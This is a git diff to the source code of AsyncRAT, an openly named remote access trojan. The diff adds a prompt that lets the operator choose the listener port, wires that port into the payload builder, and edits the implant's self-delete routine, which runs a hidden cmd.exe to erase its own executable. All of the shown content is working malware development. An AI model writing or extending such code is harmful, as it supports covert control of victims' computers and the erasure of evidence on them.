diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Builder.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Builder.cs
index 492e496..f477d17 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Builder.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Builder.cs
@@ -96,6 +96,7 @@ namespace AsyncRAT_Sharp.Forms
         private void Builder_Load(object sender, EventArgs e)
         {
             comboBoxFolder.SelectedIndex = 0;
+            textPort.Text = Settings.Port.ToString();
         }
     }
 }
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs
index bfa529f..60c2a38 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs
@@ -22,6 +22,7 @@ namespace AsyncRAT_Sharp
 
     public partial class Form1 : Form
     {
+        private static Builder builder = new Builder();
         public Form1()
         {
             InitializeComponent();
@@ -30,9 +31,13 @@ namespace AsyncRAT_Sharp
 
         private void Form1_Load(object sender, EventArgs e)
         {
-            Text = $"{Settings.Version} // NYAN CAT";
+            var input = Interaction.InputBox("", "Select Port", "6606",-1,-1);
+            if (string.IsNullOrWhiteSpace(input)) Environment.Exit(0);
+            Settings.Port = Convert.ToInt32(input);
 
+            Text = $"{Settings.Version} // NYAN CAT";
             Listener listener = new Listener();
+
             Thread thread = new Thread(new ParameterizedThreadStart(listener.Connect));
             thread.Start(Settings.Port);
         }
@@ -344,8 +349,7 @@ namespace AsyncRAT_Sharp
 
         private void bUILDERToolStripMenuItem_Click(object sender, EventArgs e)
         {
-            Builder builder = new Builder();
-            builder.Show();
+            builder.ShowDialog();
         }
     }
 }
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs
index 833b8b7..3cfacce 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs
@@ -5,8 +5,8 @@ namespace AsyncRAT_Sharp
 {
     class Settings
     {
-        public static readonly List<Clients> Online = new List<Clients>();
-        public static readonly int Port = 6606;
+        public static List<Clients> Online = new List<Clients>();
+        public static int Port = 6606;
         public static readonly string Version = "AsyncRAT 0.2.6";
         public static long Sent = 0;
         public static long Received = 0;
diff --git a/AsyncRAT-C#/Client/Handle Packet/HandlePacket.cs b/AsyncRAT-C#/Client/Handle Packet/HandlePacket.cs
index dac9cfe..03bad02 100644
--- a/AsyncRAT-C#/Client/Handle Packet/HandlePacket.cs	
+++ b/AsyncRAT-C#/Client/Handle Packet/HandlePacket.cs	
@@ -139,14 +139,11 @@ namespace Client.Handle_Packet
             {
                 Del = new ProcessStartInfo()
                 {
-                    Arguments = "/C choice /C Y /N /D Y /T 1 & Del " + Process.GetCurrentProcess().MainModule.FileName,
+                    Arguments = "/C choice /C Y /N /D Y /T 2 & Del " + Process.GetCurrentProcess().MainModule.FileName,
                     WindowStyle = ProcessWindowStyle.Hidden,
                     CreateNoWindow = true,
                     FileName = "cmd.exe"
                 };
-
-                ClientSocket.Client.Shutdown(SocketShutdown.Both);
-                ClientSocket.Client.Close();
             }
             catch { }
             finally